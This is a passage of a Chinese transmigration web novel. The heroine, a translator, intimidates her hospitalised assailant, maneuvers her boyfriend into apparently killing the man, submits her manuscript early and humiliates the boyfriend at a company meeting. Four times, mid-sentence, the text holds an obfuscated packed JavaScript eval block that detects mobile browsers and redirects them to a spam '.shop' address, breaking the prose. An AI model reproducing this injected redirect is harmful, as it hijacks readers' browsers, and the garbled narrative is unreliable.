原文中女主就是在这样一个时间死亡的。 虽说段黛穿来之后把凶手打的生活不能自理,已经在很大程度改变了剧情的走向。但是不怕一万就怕万一。 “……要是当时捅的是他的喉咙就好了。”段黛轻轻地“啧”了一声。 不间断地面对屏幕会让文字的质量下降,段黛很清楚自己需要劳逸结合。就像现在,她应该休息。洗漱一下上床好好睡一觉,精神充沛之后再把剩下的文稿完成。 然而段黛晚上才灌下一杯半的咖啡,她的心脏还是分外活跃地跳动着,尽管有些疲劳,神经却依旧兴奋着。 是她低估了自己,以为要通宵才能把计划内的工作完成,没想到现在就做完了,才让咖啡因没了用武之地。 如果不是要收拾原主留下的烂摊子,段黛一定不会让自己的作息这般颠倒…… 既然睡不着,那也别浪费时间,去完成一些该完成的事情吧。 段黛去卫生间洗了把脸,简单梳了一下头发,随后换下了睡衣,套上了一件T恤和长裤。或许是因为衣服是全黑的,段黛站在镜子前整理头发丝时,竟觉得自己的脸格外的白。 她从玄关的鞋柜上拿起自己新买后改装过的打孔钳——前头的挡片被她暴力拆卸下来了,这样对塞进去打孔的“纸张”就没了厚度的限制。她把打孔钳揣进了口袋,接着便拉开了防盗门。 出门后段黛扫了辆共享单车,去往这附近的医院,当然也就是钱耀祖住院的那家医院。 那天之后段黛和派出所也一直保持着联系,所以她知道钱耀祖抢救过来之后住的普通病房在哪。只不过没人觉得受害者会去看望犯人罢了。 停好车之后,段黛快步迈上住院部门前的台阶。半夜的住院部没什么人,只有几个值班的护士。电梯很快就到了,她按下了“23楼”的按键,接着按下了关门键。 “等一下——” 这个声音有些熟悉,但段黛并不打算理,照旧将手指压在关门键上。可惜即将闭合的电梯门还是开了,只见陈方烨正气喘吁吁地站在外面:“谢谢谢谢……” 对视上的一瞬间,两人皆是一愣。同时开了口:“是你?” 陈方烨到底还是放心不下他的母亲,赌气了半天,还是决定来医院看看。没想到这种时间居然能碰上段黛。 段黛和之前当真是大不相同了,以至于陈方烨第一眼差点没认出她来。从前的段黛只要出门一定会化好妆,穿搭上也是做足了功课的,可以说是从手指甲精致到头发丝。如今的段黛戴着眼镜不施粉黛,衣服也是简单好活动的样式,从头到尾透着“简洁”二字。 倒是有种截然不同的美感。 电梯门重新关闭。陈方烨与段黛肩并肩站着,二人一起看着电子屏上的数字一个一个的跳动,各怀着心思。 陈方烨先开了口:“你来看我舅舅?” 段黛没想到自己刚有点疯的心思就在执行的第一步遇到了很要命的目击证人。她有些不耐烦,但还是要压着语气:“是啊,看看我的战果。” 陈方烨却并未察觉到她话中的攻击性,只觉得她是在欲擒故纵,故意说的气话。 电梯门开时,他又道:“我还是喜欢你不戴眼镜的样子。” 段黛戴上眼镜之后,陈方烨总觉得她有种咄咄逼人的感觉,气势太强了,自己身为她的男朋友根本压不住。 段黛嗤笑一声:“你喜欢什么样的关我什么事。” 陈方烨猛地转头看向她:“你还在生气?” 段黛一时语塞。她很不擅长在面对面的情况下吵架,特别是现在这种两人根本不在一个频道上的情况,让她有一种说什么都是对牛弹琴做无用功的感觉。于是她不再说话,向着钱耀祖病房的方向走去。 陈方烨紧紧地跟在她身侧,喋喋不休道:“我知道你不喜欢我拉黑你,但是还不是因为你太过分了。你看我舅舅都已经这样了,你就别再……” “听说他现在在普通病房了,”段黛开口打断了他的话,“算我无能,竟然没让他一直躺在ICU里。” 陈方烨被她眼中的狠厉吓了一跳:“你就这么恨他?” 段黛推开了病房的门,病床上躺着的人闻声睁开了眼睛。钱耀祖看着段黛只觉得陌生:“你是谁?” 段黛对着他的脸颊一巴掌甩了过去:“老骚|货,想起来了吗?” 钱耀祖被扇的歪倒在一边,好半晌才反应过来,大叫道:“是你!是你!你这个女表|子……” 段黛掏出口袋里的打孔钳在他脸前晃了一下。钱耀祖虽然那天晚上醉醺醺的记不得太多事,但对这个在脸上扎了两个窟窿的凶器还是记忆犹新的,当时就被吓得尖叫出声。段黛作势要把这打孔钳再塞到他嘴里,钱耀祖连滚带爬地往一边躲,“啪”的一声摔到了地板上:“我不敢了,我再也不敢了……” 空气中忽然弥漫开一股腥臊气息,钱耀祖的身下溢出一滩液体,在从窗户透进来的一点白光下反着光。 他失禁了。 段黛捏着鼻子,摇了摇握着打孔钳的手:“听说你这辈子都得挂着尿袋子了……这怎么够呢?” 陈方烨人都傻了。 他没想到只会在他面前扮委屈的段黛还有这般狠厉的一面。 “他都已经这样了……还……还不够吗……” “当然不够,”段黛扭过头来盯着他,语气森然,“他当时可是在撕我的衣服,他不止是调戏或者猥|亵,他是要强键我。当时走过去的是我,所以你可能不在意。那如果走过去的是别人呢?如果是你心心念念的鹿颖呢?她们可没有我反应这么快,现在说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253434|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定在医院躺着的就是她们了。” 陈方烨张口结舌。 他不得不承认段黛说的是对的。段黛遇到了这种事他下意识觉得是小题大做,却从来没有也不敢想象,受害人是鹿颖会是怎么样的。 如果是鹿颖被自己的舅舅这样,他还会…… 这个假设一出来,陈方烨就拼命打断了自己。他是爱段黛的,他怎么能承认自己对女朋友竟然如此的漠视? 段黛忽然发现了一种新的解决问题的方法。她微微一笑,慢慢踱步到他的身边,低声道:“听说你这个舅舅三天两头的去你那打秋风,要是之后你那里多了什么女人……嗯,我没有说你出轨的意思,总之就是一个年轻的女人,你猜你舅舅会不会给你这个外甥面子?” 陈方烨一阵恶寒:“你!” 段黛又拉开一步的距离,微微一笑:“听其他合伙人说,你打算扩张咱们公司了。要是这个风口浪尖上传出什么创始人亲属是强健犯的言论……你的公司还想不想上市了?” 陈方烨一个激灵,抬头看向她。 段黛的脸上露出了一个恶意的笑容:“钱耀祖的责任,我是一定会追究的。就算是死无对证了,我也要把精神损失费追回来。当然啦,毕竟公司我也有股份,所以我肯定不会主动往外传。但是会不会有竞争对手拿这个出来做文章……嗯,这可就不好说了。” 段黛慢慢溜达到钱耀祖面前,想要踢一脚地上死狗一样的一坨烂肉,却又怕脏了自己的鞋,便又作罢了。 她抱着手臂,居高临下地看着地上的钱耀祖:“你说说你,活着只会添乱,怎么还没死呢?” 虽然是对着钱耀祖开的口,但话却是给陈方烨听的。 她继续道:“你也就现在还能在外面了,等你出院了,就该进监狱待着了。等你再想出来,应该就只能是装在小盒里了。” 说着她摆了摆手,向门外走去:“算了,你好好活着吧,贱|货。” 陈方烨愣愣地站在了原地。 钱耀祖慢慢爬了起来,艰难地重新躺上了床:“外甥啊,那女的你……你认识?哎呦!” 床上是放着扁马桶的,钱耀祖爬上去的时候没看好,竟是一下给掀翻了。随着排泄物在空中的飞扬,难以言喻的气味弥漫在整个病房之中,让人几欲作呕。 陈方烨看着病床上的舅舅,脑子里还在消化着段黛说的话。 有这么个作奸犯科的亲戚活着,影响的可不只是段黛。自己的公司,自己的婚姻,自己的后代……都会埋着这么一个定时炸弹。 母亲拎不清也狠不下心来,将来怕是还要道德绑架着他为这个大小便不能自理的舅舅养老送终。 有此人在,后患无穷啊。 ——死无对证。 他反复品味着段黛咬重的这四个字,鬼使神差地走向了钱耀祖那里。 钱耀祖感觉自己这外甥的神情不太对,哆嗦着往后挪了挪:“你……你要干什么?” 陈方烨注视着他,轻声呢喃。 “只要死无对证,就好了。” 9. 拖延是不可能拖延的 段黛这一觉睡得很好。 她到家之后已经是凌晨五点了,洗了澡之后躺在床上清清爽爽地睡了,直到下午一点才醒过来。睁开眼睛之后,她看到派出所那边给她发的消息。 【段小姐,钱耀祖他……去世了。您还……追责吗?】 段黛一下就笑了。她编辑消息发了过去:【我刚醒。怎么回事,怎么突然就死了?】 钱耀祖是溺死的。 他半夜不知怎的忽然一头栽到了自己床上的扁马桶里,被里面的排泄物塞住了呼吸道窒息而死。现场惨不忍睹,医护人员和警察都是捏着鼻子做的调查。 陈方烨说自己眯了一会儿睡过去了,没想到舅舅居然翻不过身来,哭着说都是自己的错。他们猜测钱耀祖可能是想翻身或者下床才会这样,但到底是怎么摔的……谁知道呢。 段黛又恶心又好笑,没想到最后杀害原主的凶手竟然以这么难看的方式死掉了。 她编辑消息道:【那我也不咄咄逼人了,只要对方家属能赔偿精神损失费我就愿意和解。】 很快陈方烨就打了钱到她的银行卡上,并且备注了转账说明。段黛在书桌前伸了个懒腰,打字的速度都快了不少。 陈方烨又发消息给她:【还生气吗?】 段黛心情很好,也愿意施舍一点时间来应付他:【精神损失费已收到。】 陈方烨:【现在舅舅也不在了,咱们还和以前一样,好不好?】 陈方烨:【我和鹿颖已经是过去式了,你也别想太多。】 陈方烨:【毕竟认识一场,所以我那天才去送她的。】 陈方烨:【黛黛?】 段黛虽然愿意应付他,但也不愿意施舍太多的时间。她很不喜欢看别人直接拿着什么情啊爱啊说事,她觉得这样很尴尬,也不知道该怎么回复。 现在翻译的工作好不容易追上了进度,她可不能因为这点小事耽误了。段黛给陈方烨设置了免打扰之后丢到了一边,继续对着电脑埋头苦干。 陈方烨在那头长篇大论了一通,苦等许久也没见段黛回他一句话,不由得有些恼火:【你有本事就一辈子别来找我!】 当然这句狠话也是毫无回应的。 陈方烨很是挫败。他颓然地坐在办公椅上,似乎从那天晚上开始,一切就都不一样了。 “哒哒哒”三声,办公室的门被敲响。陈方烨坐直了身子:“进。” 推开门进来的是公司的副总刘总,他拿着一沓文件走了进来:“陈总,这是之前您要的资料。” 陈方烨接了过来,上面是对各个城市的市场调查报告:“辛苦了。” 刘总并没有急着离开:“陈总,咱们一般是后天开会的,但是段姐一直没来公司……咱们会议还是照常吗?” 陈方烨愣了一下,抬头看着自己办公室一侧空着的办公桌。 那是段黛的位置。 段黛在公司并不任职,但是毕竟她是合伙人之一,有股份在手,所以也会经常来公司处理一些事务。为了方便,她就直接在陈方烨办公室里置办了一张办公桌,自己并不单独开办公室。 毕竟段黛是有本职工作的,忙的时候可能也不会来公司。但是每月一次的合伙人会议她是一定会来的。 思及此,陈方烨道:“照常开就好,她会来的。” 刘总点了点头:“那……开会用的东西,您都准备好了吧?” 公司已经发展到了一定规模了,接下来会有许多重大决策,这一切都需要老板陈方烨拍板。之前还有段黛督促着,几个合伙人都比较放心。如今不知怎的段黛总是不来公司,他们也有几分提心吊胆。 毕竟陈方烨这个人……并没有那么靠谱。 陈方烨摆了摆手:“放心。” 刘总这才离开了他的办公室。 段黛在电脑前又忙活了一天一夜,总算把手上这本《小姐曾说》的翻译稿全部完成了。写完之后她又花了三四个小时的功夫从头重新检查了一遍,挑了挑错别字和标点符号,确定没什么毛病之后长呼一口气。 她把文件打包好后在邮件里添加了附件,在最近联系人中选择了关月兰,接着按下了发送键。 交稿之后段黛隐隐的有些雀跃。本来以为自己也要做一回ddl战神呢,没想到还是提前一天完成了。她跳到床上打了个滚,一边感慨着“不愧是我”一边检查着接下来的日程。 明天居然还要去公司开会啊…… 刚毕业的时候陈方烨想要创业,原主就组织了几个朋友来,几人一起开了一家名叫“林深”的饮品公司,咖啡奶茶果茶都有经营。一年过去之后,“林深”的门店已经遍布临安市各区,虽然还不能和其他大型的饮品品牌的规模媲美,但在临安市也算是一方霸主了。 原主经常拖延交稿时间的一个主要原因就是要帮着陈方烨打理“林深”这家公司。林深能做到如今的规模,原主绝对是功不可没。 创业做资本家确实能获得意想不到的收入,但是段黛很清楚自己并没有经商的天赋,她更希望自己能有一份循规蹈矩的工作。如果只是占有股份而不需要她亲自经营,那她确实不排斥送到手里的钱。问题是从原文剧情来看,林深后面能做大做强的几个关键节点都是原主在用力,身为创始人的陈方烨反而经常拖后腿。 在原文中,陈方烨为了给自己的白月光鹿颖铺路,把女主踢出林深之后,林深就渐渐走向了下坡路。等到女主去世之后便再也撑不住了,最终还是逃脱不了破产的命运。 更搞笑的是,陈方烨为公司取名“林深”,“林深时见鹿”,显然是在怀念他的初恋白月光鹿颖的。可怜原主鞠躬尽瘁多年,竟是为别人做了嫁衣。 如今占据这具身体的是段黛,她当然不会在翻译之外的工作上浪费一分一毫的精力。 如此一来,林深的股份或许就没有必须持有的必要了。为了避免最后砸在手里,她得想办法平安转手出去才行。 只是现在林深的势头还是不错的,所以段黛不会贸然交出手中的股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253435|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份。 她不仅要把股份在林深出事之前转手,还要让公司的股份在她手中的最后时刻为她贡献出最大的价值才行。 思及此,段黛打开了公司的系统,久违地查看一下翻译工作之外的消息。 临安译文出版社。 早上九点,关月兰打着哈欠来到了自己的办公桌上。她旁边的工位是个实习生,名叫林若愚,在她手下做助理编辑,是个很勤快的小姑娘。 林若愚一早就到了。见关月兰来了,她立刻提醒:“姐,明天就是段黛老师的交稿日了,今天要不要催一下?” 话音刚落,办公室其他几个人都抬了头:“你上回说段黛新改出来的译文老成了很多呢,这才几天就到交稿日期了,她得拖到什么时候?” 关月兰摆了摆手:“我早就知道她什么德行了,所以这次我特意把交稿日期往死线前提了十天。” 每到关月兰气急败坏阴暗爬行的时候,大家就知道一定是段黛又开天窗了,以至于段黛的拖稿在整个出版社都很出名。 林若愚吃了一惊:“姐你真是太有先见之明了。” 其他人道:“十天能够吗?” 关月兰拉开椅子坐下,一边开电脑一边道:“差不多吧,段黛这姑娘总是在截稿日前几天效率最高,然后在当天找我疯狂道歉。按照她以往的表现来看……十天应该够了。” “哈哈哈……” 电脑开机后,关月兰照例登录邮箱查看邮件,看到排在最上面的未读邮件时她霍然瞪大了眼睛,直接站了起来。 林若愚吓了一跳:“姐你怎么了?” 关月兰抖着手点开了发信人为“黛”的未读邮件,正文上写着简短的一行字:【全文已完成,请您过目。】 上面还附了一个光看文件大小就知道份量很足的压缩文件。 关月兰震惊到语无伦次:“段黛她她她她……她今天交稿了?” “什么?”这下整个英法德编辑室的编辑们都站起来了,纷纷挤到关月兰的办工桌前。在众目睽睽之下,关月兰下载了附件,解压后打开。 上百页的翻译,密密麻麻的汉字,排版和格式都非常标准,单看形式就知道没有糊弄的地方。 “我天——” 众人齐齐发出惊呼。 段黛不仅没有开天窗,甚至还提前一天交稿了!这种震撼程度对于临安译文社的众人来说不亚于看到猪上树。 林若愚“嘶”了一声:“看来段黛老师不止是在翻译水平上有所进步,在其他方面……也是大有成长啊。” 其他编辑还是不太相信的:“就怕她憋了个什么大的……月兰你先审一下稿看看吧?别是藏了什么大问题呢……” 恰好这时关月兰的V信弹出了新的消息。是段黛估摸着她到了上班时间了,提醒她查收文稿:【我把完成的译文发你邮箱啦,请注意查收。】 关月兰盯着电脑,一行一行地查看着段黛的文稿,喃喃自语:“……太阳真是打西边出来了。” 10. 连PPT都不做? 交稿之后段黛在家休息了一天,趁着难得的空闲把屋子重新整理收拾了一番。睡了一觉醒来之后看了看公司的文件和资料,稍微洗漱了一下之后就出门了。 她来到了一座写字楼,坐着电梯到了三十层的会议室。电梯门一开,不少人看到她时都露出了震惊的神色。原因无他,不过是段黛的打扮与从前大不相同而已。关月兰和陈方烨再见到她时都被震撼了一下,更别说是公司里的人了。 不过震惊归震惊,所有人在认出段黛之后还是打了招呼:“段姐,早。” 段黛点了点头,一言不发地走了进去。 坐在会议桌另一头的陈方烨见段黛来了当即松了口气。段黛一直没有回他的消息,他还怕她是真的气到再也不理他了,好在还来开会了。他立刻站了起来:“阿黛。” 段黛对他摆了摆手:“坐吧。” 说着她就走到了平时自己开会坐的位置坐了下来。 其他人面面相觑。怎么有种段黛才是老板的感觉? 其实说段黛是老板倒也不是完全胡说八道。最初建立林深的就是陈方烨和段黛两个人,哪怕后来又加入了不少合伙人,陈方烨和段黛两人的股份依然是最多的。只不过陈方烨是公司的法人,并且同时在公司内任职,所以比段黛的位置更重一些。 但实际上公司的大小决策还是要由段黛来做决定的。陈方烨有许多新奇的想法,但大部分都是太过天马行空根本实现不了的。是段黛对他的各种想法做了分析和评估,最后让可靠的部分落实到位,帮助公司稳步向前。众人猜测,段黛不在公司任职,或许是想在公司规模足够大的将来做甩手掌柜。 但是很奇怪的是,以前陈方烨总对这个公司发展最大的功臣不屑一顾,好像段黛做什么都是理所应当的一样。真没想到今天他居然会主动跟段黛打招呼…… 上到合伙人下到扫地阿姨,所有人都悄悄揣测着两个话语权最大的人的关系。 段黛坐下后就打开了手机,一边等着其他合伙人到,一边和关月兰发着消息。 关月兰昨天读完了她的稿件,发现她真的是在没有偷工减料的情况下提前交稿了之后大吃一惊。 关月兰:【已经进三审流程了。】 关月兰:【我们社昨天都说太阳打西边出来了,段大翻译居然没拖延。】 段黛发了几个表情包:【摆脱了一些耗费精力的麻烦,以后我都能按时交稿。】 关月兰:【麻烦?是那个奶茶店吗?还真是,什么事都是你操持,能当个甩手掌柜最好。】 关月兰知道段黛和她的男朋友一起开了做奶茶的公司,虽然不清楚她都是怎样心力交瘁的,但也知道林深占用了她不少时间。当初段黛开奶茶店的时候就说自己只占股份不任职,本职工作还是翻译,到时候只要等着收利润就好,谁知道最后竟然被公司耗费了那么多精力! 段黛换了个坐姿,将一条腿搭到另一条腿上:【我想明白了,他这公司不能开趁早拉倒。最多半年,我一定把这些破事处理的干干净净。】 关月兰发了个惊讶的表情包。她以为段黛是要把任务甩给别人做呢,但是看她这个意思……好像不是? 她只发了个加油的表情包,然后道:【祖宗,你能别开天窗就行。】 想了想她又加了一句:【投资有风险,别被骗了哦。】 临安译文社对面也有一家出版社,是专门做畅销书的,经常对接网文作者。她们那边就经常能听到某某作者买了基金结果赔的裤衩都不剩的传闻。 段黛:【放心,我不蠢。】 关月兰:【你最好是。】 段黛:【我一定是。】 陈方烨看着坐在一边的段黛。她的脸上没有什么表情,一直在看手机。他踌躇了几次想要开口,却始终拉不下脸来。 他从来没有主动对段黛低头过。 正在陈方烨纠结的时候,合伙人已经都到齐了。段黛把视线从手机中转移出来,环视四周:“都到齐了?” 刘总道:“都到了。” 段黛身子向后靠到椅子背上,双手抱在胸前:“既然人齐了就开始吧。” 众人再次唏嘘:段黛终于知道找回自己的威严了吗! 见所有人都坐直了身子,陈方烨也把思绪从段黛身上收了回来。他清了清嗓子,开口道:“林深现在也有一年了,在临安市的店面已经足够多了。接下来我觉得可以让林深入驻其他城市,进一步扩大规模,大家觉得如何?” 一个合伙人表示赞同:“林深想进一步发展,势必要迈出临安,走向全国的。” 所有人都点头,对此并无异议。段黛抱着手臂,并不评价什么。 陈方烨继续道:“我也是这么想的。现在饮品市场竞争激烈,大众熟知的奶茶咖啡越来越多了。发展的越慢能分到的蛋糕就越小,所以我做了一个大胆的决定。” 他顿了一下,环视四周道:“我想拿出所有资金,直接在全国各个主要城市一起入驻,以最快的速度占据全国市场。” 会议室里瞬间安静了。几个合伙人的脸上露出了“你不是在开玩笑吧”的表情。 陈方烨察觉到气氛的诡异,有些不解:“你们是不是觉得这样一步到位风险太大了?但是我们林深起步本来就比那些品牌晚,如果发展再慢的话,恐怕就会被其他竞争对手挤下去……” 其他合伙人都将目光投向了段黛。一般这个时候只有段黛才能劝得住陈方烨,让他别这么胡闹下去。然而段黛依旧一言不发,抱着手臂只是默默听着。 见段黛没有要阻拦的意思,他们只好开了口:“陈总,这样太操之过急了吧。” 一人提出新的方案:“不如我们先进驻浙省的各个城市,成熟之后再发展到江浙沪地区,到时候再辐射全国……” 也有人道:“或者我们在全国筛选出十几个城市入驻,像是帝都、商申市这种直辖市……” 陈方烨却并不接受他们的提议,坚持道:“只有全国大部分城市都有我们的店面了,之后才有可能做IP联名。现在只是拼饮品本身的话太慢了,能吸纳到粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253436|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝的购买力才是我们发展的关键。” 立刻有人反驳道:“我们现有的资金不足以让我们一下跨这么大的步子,而且怎么就能确定会有IP和我们联名呢?还是稳妥一些,一步一步来比较好。我们现在也没有联名,在临安市不也发展的很好吗?” 陈方烨道:“资金的问题不用担心,我们可以去银行贷款。到时候钱一批下来,这些都不是问题。只想着稳妥是发展不起来的,我们应该大胆一点……” 所有人都试图说服陈方烨放弃这样不切实际的想法,从公司现状分析到市场情况,最后甚至后退一步提出了其他更可行一些的方案。然而陈方烨就是死不松口,铁了心就是要一步跨到罗马去。 两边争执了好久,终于有人转向了段黛:“段姐,你觉得呢?” 瞬间会议室里所有人都看向段黛。 陈方烨也转过头来,看向段黛的眼神中隐隐有些期待。 段黛缓缓坐直了身体,在众人的注视下,终于说了开会后的第一句话。 “陈方烨说的,确实冒险,但也不是不可行。” 陈方烨明显高兴了起来,而其他合伙人皆是一脸怔然,大概是没想到段黛居然真的任由陈方烨这么胡闹。 段黛慢悠悠道:“开一家店是这么多时间,开一万家店也是这么多时间。现在其他城市也有本土的饮品品牌,秣陵有Season,商申市有茶魔……说不定哪一个就会比林深先一步走向全国。我们先人一步,倒也不是全然没有道理。” 众人沉默了下来,似是也有被说服的意思。 段黛继续道:“资金的问题暂时先不用担心。除了银行贷款之外,我们也可以招纳新的投资方来赞助。现在有不少财团都很看好林深的发展,很愿意投资入股。既然如此,那不如趁热打铁,现在就把该做的事情都做了,先迈入饮品市场的第一梯队。” 陈方烨很高兴道:“阿黛,我就知道你会支持我的……” 然而接着段黛就打开了电脑,会议室一侧的投影幕布缓缓降下:“大家都知道这么做风险还是挺大的。既然陈总能提出这样做,想来是已经做好调研了。那就请陈总具体介绍一下方案吧。” 陈方烨懵了:“什么……方案?我刚刚已经介绍了啊,还要怎么具体介绍?” 段黛:“PPT啊,汇报专用文件,你没做吗?” “……” 有人悄悄笑了。 段黛很奇怪地看了他一眼:“你能提出这么惊人的想法,一定是有事实数据支持的吧?总不能空口无凭的张着一张嘴想说什么就说什么吧?” 不知道是不是火上浇油,刘总也道:“之前陈总让我提交了各个城市市场的分析报告,肯定是有事实支撑啦。” 陈方烨的脸涨红了。他从来都是只提想法的,可不可行都是段黛来分析的,有时他还会因为一些不切实际的想法落实不了而给她甩脸色。 他哪里自己分析过? 段黛挑眉看着他:“你不会是……想要不分析数据就说服我们吧?” 11. 毒舌前要打草稿 段黛和一圈合伙人都这样定定地看着陈方烨,他哆嗦了一下,忽然就陷入了惶恐之中。 “段黛,你……你是什么意思?” 段黛再次确认:“所以你没做什么用来汇报说明的PPT是吗?” 林深公司初创,虽然已经有了一定规模,但到底还是小公司,没有秘书或者助理之类的岗位,许多事情还是需要合伙人们亲力亲为的。 之前如果有人有什么想法,那就会找相关部门收集数据,分析确定可行之后做好解说的PPT,然后在开会的时候进行讲解。 所有合伙人都是这样做的。 只有陈方烨这个老板从来都是光凭一张嘴,因为总有段黛在后面给他做善后。 陈方烨的脸色难看至极。他不断地给段黛使眼色,然而她就好像看不懂一般,和其他合伙人一起一副一定要他给个解释的架势。最后陈方烨坚持不住败下阵来,垂着头丧气道:“我分析了,应该是可行的,但是没做PPT。” 段黛点了点头,重新坐回到位置上:“公司大家都有股份,肯定不能由着你乱来。陈总有些石破天惊的想法是好事,但总不能你自己想好了就是好了,得能说服大家才行。” 陈方烨感觉自己的脸在发烫:“我以前从来都是……” “以前是以前,现在是现在。从来都是如此,不代表如此就是对的,”段黛淡淡地瞥了他一眼,“会议一个月才开一次,陈总的想法应该有充足的时间来收集信息进行佐证,但你没有。大家的时间也是时间,你这样子耽误的是大家,耽误的是整个公司。所以你在等什么,等别人来帮你收拾残局吗?” 陈方烨被她数落地恨不得找个地缝钻进去。 一众合伙人倒吸一口冷气,好厉害的一张嘴! 谁也不知道这些其实是段黛出门前在手机便签打好的草稿。她并不擅长和人面对面的即兴吵架,但如果提前做好了准备就可以完美扮演一个口齿伶俐的毒舌角色。她知道陈方烨一定不会做什么准备,所以一早就把要数落他的话列出了大纲。 能这样把人骂的哑口无言,段黛觉得还挺爽的。 把人喷了个狗血淋头之后,段黛缓下声音:“既然陈总说已经分析了,只是没做详细汇报的准备,那就请陈总好好做一下分析和策划的汇报吧,能够拿出说服我们的材料之后再来。今天就到此为止吧,散会。” 闻言,一众合伙人立刻起身,纷纷离开了会议室。 陈方烨傻眼了。他这个老板还没开口,人就都走了? 他猛地站了起来,一个健步冲到了段黛身前:“你为什么要这么给我难堪!” 段黛很奇怪地看了他一眼,在他愤怒的注视下缓缓起身,丝毫不惧:“当初你自由散漫不把开会当回事,就应该做好当众下不来台的准备才是。现在你无能狂怒什么?” “你明知道我从来不做那些!具体分析策划可行性之类的事情都是你在做的!” “……神经病。” 段黛不耐烦地推开了他:“我还有事,先走了,你自己看着弄吧。” 她向着电梯走去,陈方烨一把拽住了她的手:“你要去哪!你为什么这几天都不来公司!” 他抓的力气很大,段黛忍不住蹙眉。她很巧妙的甩了甩,借力把陈方烨的手推了下去。电梯门应声而开,段黛不紧不慢地走了进去。 她转头看着陈方烨,一脸无所谓:“我不在公司任职,所以没有出勤的必要吧?你们好好给我打工就是了。” 说着电梯门就关上了。 陈方烨原地石化。 谁给谁打工? 当初没有给段黛安排职位,一方面是因为她有身为翻译的本职工作,虽然算是自由职业,但段黛并不想放弃。另一方面则是因为陈方烨的一些小心思,他和段黛的股份是一样多的,为了保证自己身为老板的话语权,所以也不想给她什么实权。创业之初她要忙里忙外,等一切都做好之后,段黛就只做个富贵闲人就好。 谁知道会发展成现在这样! 陈方烨脸色难看的回到了自己的办公室。看到旁边段黛一直用的办公桌上居然都落灰了,又是气不打一处来。有那么一瞬间他想直接把桌上的东西都掀下去,奈何桌子上放的都是一些电子设备,虽说不至于买不起,但重新置办也挺费工夫的,于是双手僵在桌子边不动了。 无能狂怒也是需要实力的。 “段黛——” 于是整层楼都能听到陈方烨的那一声怒吼。 几个员工悄悄交头接耳:“我们老板不会是超雄吧?” “……” 段黛慢悠悠地坐上了回家的地铁。这么想来她这个股东还真是窝囊,居然还租着房子挤着地铁,一点也不像个公司合伙人。刚坐下,她的手机就振动了起来,陈方烨又连着发了好几条消息给她。 陈方烨:【公司难道没有你的一份吗,你怎么说走就走了!】 陈方烨:【我哪会这些,以前不都是你做的吗?】 陈方烨:【这样,我聘用你做秘书,怎么样?】 陈方烨:【我给你最后一次机会……】 段黛两手握住手机:【你要点脸。】 段黛:【需要秘书自己招聘去,五险一金交齐了,别被人举报了。】 段黛:【我的事可比这公司重要多了,谁的事谁操心,你不是老板吗?】 段黛:【不会吧不会吧,不会有人这么大岁数了还不会做PPT吧?】 段黛:【给你最后一次机会,这个总经理要是当不了你趁早滚蛋。】 说完之后段黛又把人设置成了消息免打扰。 陈方烨:【???】 陈方烨:【我是老板你是老板?】 陈方烨:【倒反天罡!!!】 陈方烨:【你怎么又不说话了,你说话啊!】 段黛按了按太阳穴,把手机塞到裤子口袋里,靠在座位上闭目养神。 列车到站,从吹着冷气的车厢上下来时,段黛感觉一顾热浪迎面而来,额头上瞬间又出了不少汗。她伸手一边扇着风一边出了地铁站,转头看到旁边有家奶茶店里面有冰淇淋机,于是推门进去道:“要一只抹茶味儿的甜筒。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253437|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店员拿着蛋筒给她打冰淇淋,段黛就抱着手臂站在一旁看着。身后的玻璃门被推开时,段黛恰好也接到了她的冰淇淋。 “段黛?” 正在段黛拿着冰淇淋准备出去时,转头就看到了进来的邓辞。 邓辞依旧是上身白衬衣下身西装裤的那副房产中介一般的打扮,他看到段黛后愣了好一会儿。即将开口前,段黛替他把话说了:“你是不是要说,你怎么变成这样了?” 邓辞“噗哧”一声笑了:“你怎么知道的?” 段黛颇为无语。她这几天但凡见个什么人都会听到这样的评价。她其实已经以这种新形象过了一个周了,架不住还是有人在看到她后一脸惊讶。 “没什么事我就先走了。” 段黛摆了摆手,接着就要出门去。 